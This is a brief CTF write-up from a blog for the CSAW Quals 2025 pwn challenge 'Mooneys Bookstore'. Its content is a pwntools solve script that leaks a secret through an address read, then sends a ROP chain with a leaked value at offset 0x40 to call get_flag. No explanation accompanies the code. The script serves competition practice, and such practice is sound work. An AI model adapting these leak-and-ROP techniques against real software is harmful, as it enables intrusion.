Skip to main content
  1. CTF Writeups/
  2. CSAW Quals 2025/

Mooneys Bookstore

·
pwn 301 pts rop pwntools ret2win
subzcuber
Author
subzcuber
i like to imagine i’m funny

I don’t remember anything, but here’s my solve script. @_cerealsoup helped out.

io = start()

secret_key_addr = exe.sym["secret_key"]

io.sendafter(
    b"Your favorite book waits for you. Tell me its address\n", flat(secret_key_addr)
)

leak = io.recvline().strip().decode()
secret = int(leak, 16)
log.success(f"{hex(secret)=}")

io.sendafter(b"There always is. If you speak it, the story unlocks", flat(secret))

io.recvline()
io.recvline()

secret_val = int(io.recvline().split()[-1], 16)
log.success(f"{hex(secret_val)=}")

rop = ROP(exe)
rop.call(rop.ret)
rop.call("get_flag")

payload = flat(
    {0x40: secret_val, "waaa": rop.chain()},
)

io.sendlineafter(b"Write yourself into this story.\n", payload)
io.interactive()
Reply by Email

Related

Intro Pwn
pwn 100pts 181 solves rust rop bof
Biscuits
pwn 50pt 192 solves pwntools
im hungry
FlagsFlagsFlags
rev 97pt 285 solves upx pwntools
100k flags 💀